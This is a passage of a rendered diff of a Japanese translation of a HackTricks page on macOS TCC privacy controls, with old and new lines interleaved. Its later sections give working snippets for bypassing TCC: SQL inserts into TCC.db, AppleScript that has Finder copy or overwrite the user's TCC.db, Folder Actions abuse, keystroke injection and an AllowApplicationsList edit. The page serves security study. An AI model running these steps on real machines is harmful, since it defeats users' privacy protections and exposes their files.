* SIP 保護ファイル **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`**(誰でも読み取り可能)は、TCC例外が必要なアプリケーションの許可リストです。
|
||||
|
||||
{% hint style="success" %}
|
||||
**iOS**のTCCデータベースは**`/private/var/mobile/Library/TCC/TCC.db`**にあります。
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
**通知センター UI** は**システム TCC データベース**に変更を加えることができます:
|
||||
**通知センターUI**は、**システムTCCデータベース**に変更を加えることができます:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -123,10 +123,10 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
{% endtabs %}
|
||||
|
||||
{% hint style="success" %}
|
||||
両方のデータベースをチェックすることで、アプリが許可されている権限、禁止されている権限、または持っていない権限(求められることがある)を確認できます。
|
||||
両方のデータベースをチェックすることで、アプリが許可されている権限、禁止されている権限、または(求められる)権限を確認できます。
|
||||
{% endhint %}
|
||||
|
||||
- **`service`** は TCC の **権限** 文字列表現です
|
||||
- **`service`** は TCC **権限**の文字列表現です
|
||||
- **`client`** は権限を持つ **バンドルID** または **バイナリのパス** です
|
||||
- **`client_type`** はバンドル識別子(0)か絶対パス(1)かを示します
|
||||
|
||||
|
@ -134,7 +134,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
|
||||
<summary>絶対パスの場合の実行方法</summary>
|
||||
|
||||
単に **`launctl load you_bin.plist`** を実行します。plist は以下のようなものです:
|
||||
単に **`launctl load you_bin.plist`** を実行します。plist は以下のようなものです:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -173,8 +173,8 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
```
|
||||
</details>
|
||||
|
||||
* **`auth_value`**の値は異なる可能性があります: denied(0), unknown(1), allowed(2), or limited(3)。
|
||||
* **`auth_reason`**の値は以下のものを取ることができます: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
||||
* **`auth_value`**の値は異なる可能性があります: denied(0), unknown(1), allowed(2), or limited(3).
|
||||
* **`auth_reason`**の値は以下のいずれかを取ることができます: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
||||
* **csreq**フィールドは、実行するバイナリを検証し、TCC権限を付与する方法を示すために存在しています:
|
||||
```bash
|
||||
# Query to get cserq in printable hex
|
||||
|
@ -191,12 +191,12 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
|
|||
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
|
||||
echo "X'$REQ_HEX'"
|
||||
```
|
||||
* テーブルの**他のフィールド**に関する詳細情報については、[**このブログ投稿**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)をチェックしてください。
|
||||
* テーブルの**他のフィールド**に関する詳細は、[**このブログ投稿**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)をチェックしてください。
|
||||
|
||||
また、`システム環境設定 --> セキュリティとプライバシー --> プライバシー --> ファイルとフォルダ`でアプリに**すでに与えられた権限**を確認できます。
|
||||
また、`システム環境設定 --> セキュリティとプライバシー --> プライバシー --> ファイルとフォルダ`で、アプリに**すでに与えられた権限**を確認できます。
|
||||
|
||||
{% hint style="success" %}
|
||||
ユーザーは**`tccutil`**を使用して**ルールを削除またはクエリ**できます。
|
||||
ユーザーは、**`tccutil`**を使用して**ルールを削除またはクエリ**できます。
|
||||
{% endhint %}
|
||||
|
||||
#### TCC権限のリセット
|
||||
|
@ -209,7 +209,7 @@ tccutil reset All
|
|||
```
|
||||
### TCC署名チェック
|
||||
|
||||
TCC **データベース**はアプリケーションの**Bundle ID**を保存しますが、**許可を求める**アプリが正しいものであることを確認するために**署名**に関する**情報**も保存します。
|
||||
TCC **データベース**はアプリケーションの**Bundle ID**を保存しますが、**許可を使用するように要求する**アプリが正しいものであることを確認するために、**署名**に関する**情報**も保存します。
|
||||
```bash
|
||||
# From sqlite
|
||||
sqlite> select service, client, hex(csreq) from access where auth_value=2;
|
||||
|
@ -224,17 +224,17 @@ csreq -t -r /tmp/telegram_csreq.bin
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
したがって、同じ名前とバンドルIDを使用する他のアプリケーションは、他のアプリに付与された権限にアクセスできなくなります。
|
||||
したがって、同じ名前とバンドルIDを使用する他のアプリケーションは、他のアプリに付与された権限にアクセスできません。
|
||||
{% endhint %}
|
||||
|
||||
### エンタイトルメントとTCC権限
|
||||
### エンタイトルメント&TCC権限
|
||||
|
||||
アプリケーションは、リソースにアクセスをリクエストし、許可されただけでなく、関連するエンタイトルメントを持っている必要があります。\
|
||||
たとえば、Telegramは`com.apple.security.device.camera`というエンタイトルメントを持っており、カメラへのアクセスをリクエストします。このエンタイトルメントを持たないアプリケーションは、カメラにアクセスできません(ユーザーにアクセス許可を求めることさえありません)。
|
||||
アプリケーションがリソースにアクセスを要求し、アクセスが許可されているだけでなく、関連するエンタイトルメントを持っている必要があります。\
|
||||
たとえば、Telegramは`com.apple.security.device.camera`というエンタイトルメントを持っており、カメラへのアクセスを要求します。このエンタイトルメントを持たないアプリケーションはカメラにアクセスできません(ユーザーにはアクセス許可が求められません)。
|
||||
|
||||
ただし、`~/Desktop`、`~/Downloads`、`~/Documents`などの特定のユーザーフォルダにアクセスするためには、特定のエンタイトルメントを持つ必要はありません。システムは透過的にアクセスを処理し、必要に応じてユーザーにプロンプトを表示します。
|
||||
ただし、`~/Desktop`、`~/Downloads`、`~/Documents`などの特定のユーザーフォルダにアクセスするためには、特定のエンタイトルメントが必要ありません。システムはアクセスを透過的に処理し、必要に応じてユーザーにプロンプトを表示します。
|
||||
|
||||
Appleのアプリケーションはプロンプトを生成しません。エンタイトルメントリストに事前に付与された権利が含まれており、ポップアップを生成することは決してなく、TCCデータベースのいずれにも表示されません。たとえば:
|
||||
Appleのアプリケーションはプロンプトを生成しません。エンタイトルメントリストに事前に付与された権利が含まれており、ポップアップを生成することは決してありませんし、TCCデータベースのいずれにも表示されません。例:
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
|
@ -245,23 +245,23 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
<string>kTCCServiceAddressBook</string>
|
||||
</array>
|
||||
```
|
||||
これにより、カレンダーがユーザーにリマインダー、カレンダー、アドレス帳へのアクセスを求めることを回避できます。
|
||||
これにより、カレンダーがユーザーにリマインダー、カレンダー、およびアドレス帳へのアクセスを求めることを回避できます。
|
||||
|
||||
{% hint style="success" %}
|
||||
権限に関する公式ドキュメントに加えて、[https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl) で権限に関する興味深い情報を非公式に見つけることも可能です。
|
||||
権限に関する公式ドキュメントに加えて、[**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) で権限に関する非公式な**興味深い情報**を見つけることも可能です。
|
||||
{% endhint %}
|
||||
|
||||
一部のTCC権限は、kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotosなどです。これらをすべて定義する公開リストはありませんが、[既知のリスト](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)を確認できます。
|
||||
一部のTCC権限には、kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotosなどがあります。これらをすべて定義する公開リストはありませんが、[**既知のリスト**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)をチェックできます。
|
||||
|
||||
### 保護されていない機密情報が含まれる場所
|
||||
### 保護されていない機密情報の場所
|
||||
|
||||
- $HOME (自体)
|
||||
- $HOME/.ssh、$HOME/.aws など
|
||||
- /tmp
|
||||
* $HOME (自体)
|
||||
* $HOME/.ssh、$HOME/.aws など
|
||||
* /tmp
|
||||
|
||||
### ユーザーの意図 / com.apple.macl
|
||||
|
||||
前述のように、ファイルをアプリにドラッグ&ドロップすることで、そのアプリにファイルへのアクセスを許可することが可能です。このアクセスはTCCデータベースには特定されませんが、ファイルの拡張属性として保存されます。この属性には許可されたアプリのUUIDが保存されます。
|
||||
前述のように、ファイルをアプリにドラッグ&ドロップすることで、そのアプリにファイルへのアクセスを許可することが可能です。このアクセスはTCCデータベースには特定されませんが、ファイルの**拡張属性**として保存されます。この属性には許可されたアプリの**UUID**が格納されます。
|
||||
```bash
|
||||
xattr Desktop/private.txt
|
||||
com.apple.macl
|
||||
|
@ -282,13 +282,13 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
|||
また、コンピュータ内のアプリのUUIDを許可するファイルを別のコンピュータに移動すると、同じアプリでも異なるUIDを持つため、そのアプリにアクセス権が付与されません。
|
||||
{% endhint %}
|
||||
|
||||
拡張属性`com.apple.macl`は、他の拡張属性とは異なり、**SIPによって保護**されているため、**消去できません**。ただし、[**この投稿で説明されているように**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)、ファイルを**圧縮**して、**削除**して、**解凍**することで無効にすることが可能です。
|
||||
拡張属性`com.apple.macl`は、他の拡張属性とは異なり、**SIPによって保護**されているため、**消去することはできません**。ただし、[**この投稿で説明されているように**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)、ファイルを**圧縮**して、**削除**して、**解凍**することで無効にすることが可能です。
|
||||
|
||||
## TCC特権昇格とバイパス
|
||||
|
||||
### TCCに挿入
|
||||
|
||||
ある時点でTCCデータベースに対して書き込みアクセス権を取得できた場合、以下のような方法を使用してエントリを追加できます(コメントを削除してください):
|
||||
ある時点でTCCデータベースに対する書き込みアクセス権を取得できた場合、以下のような方法でエントリを追加できます(コメントを削除してください):
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -345,13 +345,13 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
|
|||
### 自動化(Finder)から FDA\*
|
||||
|
||||
自動化権限の TCC 名は: **`kTCCServiceAppleEvents`**\
|
||||
この特定の TCC 権限は、TCC データベース内で管理できる**アプリケーション**を示しています(つまり、権限はすべてを管理するだけではありません)。
|
||||
この特定の TCC 権限は、TCC データベース内で管理できる**アプリケーションを示す**(つまり、権限はすべてを管理するだけでなく、特定のアプリケーションを管理することもできます)。
|
||||
|
||||
**Finder** は、**常に FDA を持っています**(UI に表示されなくても)、そのため、**自動化**権限を持っていれば、その権限を悪用して**いくつかのアクションを実行**させることができます。\
|
||||
この場合、あなたのアプリは **`com.apple.Finder`** 上で **`kTCCServiceAppleEvents`** の許可が必要です。
|
||||
**Finder** は、**常に FDA を持っています**(UI に表示されなくても)、そのため、それに対して **Automation** 権限がある場合、その権限を悪用して **いくつかのアクションを実行**させることができます。\
|
||||
この場合、あなたのアプリは **`com.apple.Finder`** 上で **`kTCCServiceAppleEvents`** 権限が必要です。
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ユーザーの TCC.db を盗む" %}
|
||||
{% tab title="ユーザーの TCC.db を盗む %}
|
||||
```applescript
|
||||
# This AppleScript will copy the system TCC database into /tmp
|
||||
osascript<<EOD
|
||||
|
@ -381,12 +381,14 @@ EOD
|
|||
これを悪用すると、**独自のユーザーTCCデータベースを作成**することができます。
|
||||
|
||||
{% hint style="warning" %}
|
||||
この権限を持つと、**FinderにTCC制限フォルダへのアクセスを要求**してファイルを取得することができますが、afaik **Finderに任意のコードを実行させることはできません**。そのため、完全にFDAアクセスを悪用することはできません。
|
||||
この権限を持つと、**FinderにTCC制限フォルダへのアクセスを要求**してファイルを取得することができますが、afaik **Finderに任意のコードを実行させることはできない**ため、完全にFDAアクセスを悪用することはできません。
|
||||
|
||||
したがって、完全なFDAの機能を悪用することはできません。
|
||||
{% endhint %}
|
||||
|
||||
これはFinderに対してAutomation権限を取得するためのTCCプロンプトです:
|
||||
これは、Finderに対してAutomation権限を取得するためのTCCプロンプトです:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Automator**アプリがTCC権限**`kTCCServiceAppleEvents`**を持っているため、Finderのような**任意のアプリを制御**できます。したがって、Automatorを制御する権限があれば、以下のコードのように**Finder**を制御することもできます:
|
||||
|
@ -420,7 +422,7 @@ EOD
|
|||
|
||||
### Automation (SE) to some TCC
|
||||
|
||||
**システムイベント**はフォルダアクションを作成でき、フォルダアクションは一部のTCCフォルダにアクセスできます(デスクトップ、ドキュメント&ダウンロード)。したがって、次のようなスクリプトを使用してこの動作を悪用することができます。
|
||||
**システムイベント**はフォルダアクションを作成でき、フォルダアクションは一部のTCCフォルダにアクセスできます(デスクトップ、ドキュメント&ダウンロード)。したがって、次のようなスクリプトを使用してこの動作を悪用することができます:
|
||||
```bash
|
||||
# Create script to execute with the action
|
||||
cat > "/tmp/script.js" <<EOD
|
||||
|
@ -464,7 +466,7 @@ rm "$HOME/Desktop/file"
|
|||
```
|
||||
### 自動化(SE)+ アクセシビリティ(**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)によるFDA\*
|
||||
|
||||
**`System Events`** 上での自動化 + アクセシビリティ(**`kTCCServicePostEvent`**)を使用すると、**プロセスにキーストロークを送信**できます。これにより、Finderを悪用してユーザーのTCC.dbを変更したり、FDAを任意のアプリに付与したりすることができます(ただし、これにはパスワードが求められる場合があります)。
|
||||
**`System Events`** 上での自動化 + アクセシビリティ(**`kTCCServicePostEvent`**)を使用すると、**プロセスにキーストロークを送信**できます。これにより、Finderを悪用してユーザーのTCC.dbを変更したり、FDAを任意のアプリに付与したりすることができます(ただし、これにはパスワードの入力が求められる場合があります)。
|
||||
|
||||
FinderによるユーザーのTCC.db 上書きの例:
|
||||
```applescript
|
||||
|
@ -528,24 +530,24 @@ EOF
|
|||
|
||||
ユーザーTCCデータベースに**書き込み権限**を取得すると、自分に**`FDA`**権限を付与することはできませんが、システムデータベースに存在する権限を付与することができます。
|
||||
|
||||
しかし、自分に**`Finderへの自動化権限`**を与え、前述の手法を悪用してFDA\*にエスカレーションすることができます。
|
||||
しかし、**`Finderへの自動化権限`**を自分に与えることができ、前述の手法を悪用してFDA\*にエスカレーションすることができます。
|
||||
|
||||
### **FDAからTCC権限へ**
|
||||
|
||||
**フルディスクアクセス**のTCC名は**`kTCCServiceSystemPolicyAllFiles`**です。
|
||||
|
||||
これは実際にはリアルなエスカレーションではないと思いますが、念のため便利かもしれません: FDAを持つプログラムを制御すると、**ユーザーTCCデータベースを変更して任意のアクセス権を与える**ことができます。これは、FDA権限を失った場合の持続性手法として役立つ可能性があります。
|
||||
これは実際にはリアルなエスカレーションではないと思いますが、念のため便利かもしれません: FDAを持つプログラムを制御できる場合、**ユーザーTCCデータベースを変更して任意のアクセス権を自分に与える**ことができます。これはFDA権限を失った場合の持続性手法として役立つかもしれません。
|
||||
|
||||
### **SIPバイパスからTCCバイパスへ**
|
||||
|
||||
システムの**TCCデータベース**は**SIP**によって保護されているため、**指定された権限を持つプロセスのみが変更**できます。したがって、攻撃者が**SIPバイパス**を見つけると(SIPによって制限されたファイルを変更できるようになる)、次のことができます:
|
||||
システムの**TCCデータベース**は**SIP**によって保護されているため、**指定された権限を持つプロセスのみが**それを変更できます。したがって、攻撃者が**SIPバイパス**を見つけると(SIPによって制限されたファイルを変更できるようになる)、次のことができるようになります:
|
||||
|
||||
* TCCデータベースの保護を**解除**し、自分にすべてのTCC権限を与えることができます。たとえば、次のファイルを悪用できます:
|
||||
* TCCシステムデータベース
|
||||
* REG.db
|
||||
* MDMOverrides.plist
|
||||
|
||||
ただし、この**SIPバイパスをTCCバイパスに悪用**する別のオプションがあります。`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`ファイルは、TCC例外を必要とするアプリケーションの許可リストです。したがって、攻撃者がこのファイルからSIP保護を**解除**し、**独自のアプリケーション**を追加すると、そのアプリケーションはTCCをバイパスできるようになります。\
|
||||
ただし、この**SIPバイパスをTCCバイパスに悪用**する別のオプションがあります。`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`ファイルは、TCC例外を必要とするアプリケーションの許可リストです。したがって、攻撃者がこのファイルからSIP保護を**解除**し、**独自のアプリケーション**を追加できるようにすれば、そのアプリケーションはTCCをバイパスできます。\
|
||||
たとえば、ターミナルを追加する場合:
|
||||
```bash
|
||||
# Get needed info
|
||||
|
@ -598,7 +600,7 @@ HackTricks をサポートする他の方法:
|
|||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローする。**
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加し、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする**
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
|
|